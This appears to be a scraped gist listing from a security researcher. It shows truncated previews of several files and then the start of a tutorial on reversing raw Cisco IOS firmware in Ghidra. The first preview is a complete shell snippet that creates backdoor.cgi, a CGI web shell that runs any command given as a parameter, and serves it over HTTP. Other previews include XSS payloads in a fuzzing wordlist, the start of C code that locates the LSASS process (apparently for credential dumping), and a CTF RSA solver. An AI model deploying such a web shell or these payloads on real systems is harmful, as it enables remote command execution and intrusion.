https://www.youtube.com/playlist?list=PLKK11Ligqitg9MOX3-0tFT1Rmh3uJp7kA
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| cd /tmp | |
| mkdir cgi-bin | |
| echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi | |
| echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi | |
| echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi | |
| chmod +x ./cgi-bin/backdoor.cgi | |
| python -m http.server --cgi | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| - | |
| . | |
| .. | |
| ... | |
| .... | |
| .AMRU | |
| .json | |
| .onion | |
| .txt | |
| 0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $$ | |
| $Any$ | |
| $shop$ | |
| $your-shop$ | |
| %20%44omain%20%3d | |
| %2f%2f%2fbing | |
| %60x | |
| %domain% | |
| %user% | |
| %your_domain% |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Set-Cookie=test=test | |
| "--><svg | |
| "><script>prompt("exr")< | |
| $ | |
| $1 | |
| $a | |
| $account_id | |
| $code |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <domain xmlns:qemu="http://libvirt.org/schemas/domain/qemu/1.0" type="kvm"> | |
| <name>win10</name> | |
| <uuid>d2c97462-3a70-4afb-ab72-5916e8ac25ae</uuid> | |
| <title>Windows 10</title> | |
| <metadata> | |
| <libosinfo:libosinfo xmlns:libosinfo="http://libosinfo.org/xmlns/libvirt/domain/1.0"> | |
| <libosinfo:os id="http://microsoft.com/win/10"/> | |
| </libosinfo:libosinfo> | |
| </metadata> | |
| <memory unit="KiB">12582912</memory> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #define _CRT_SECURE_NO_WARNINGS | |
| #include <Windows.h> | |
| #include <Psapi.h> | |
| #include <TlHelp32.h> | |
| #include <iostream> | |
| DWORD GetLsassPid() { | |
| PROCESSENTRY32 entry; | |
| entry.dwSize = sizeof(PROCESSENTRY32); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Solves multi prime rsa given n, e, and c. Need to factor n into primes first (recommend yafu) | |
| # Reference https://crypto.stackexchange.com/questions/31109/rsa-enc-decryption-with-multiple-prime-modulus-using-crt | |
| # From https://github.com/diogoaj/ctf-writeups/tree/master/2018/Timisoara/crypto/NotYourAverageRSA | |
| # Params | |
| e = 65537 | |
| c = 48761539940486768790697951968441053167086423529120379009399989923982917278530780108524481919294548305561552133247376067350664771674488982501980538923179804440135482761541868213581098181220801732284669971107195377327445661261746882474615837238429855596647745621191046720648860759474615170945636435027382702345930153884587334870109990234396501579 | |
| n = 81736943705459767985288486167314099164146317197040392194768161097750074479540025761100109449092862009195976097250151609584294118669228141027624354052423638509988705830737675936098155468596924772948252465412194715615408850250410310761063399013426728554729053139453019049285162533445627620506060381552244023004446417793032764776342793336374 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| =========================================================================== | |
| Venturing into the Dark - a review of Dark Side Ops 2: Adversary Simulation | |
| =========================================================================== | |
| --------------------------------------------------------------------------- | |
| Location: BlackHat Las Vegas | |
| Links: https://www.blackhat.com/us-19/training/schedule/#dark-side-ops | |
| ----adversary-simulation-14210 | |
| https://silentbreaksecurity.com/training/dark-side-ops-2-advers | |
| ary-simulation/ | |
| Trainers: Silent Break Security Team (team of 3) |
This brief tutorial will show you how to go about analyzing a raw binary firmware image in Ghidra.
I was recently interested in reversing some older Cisco IOS images. Those images come in the form of a single binary blob, without any sort of ELF, Mach-o, or PE header to describe the binary.
While I am using Cisco IOS Images in this example, the same process should apply to other Raw Binary Firmware Images.
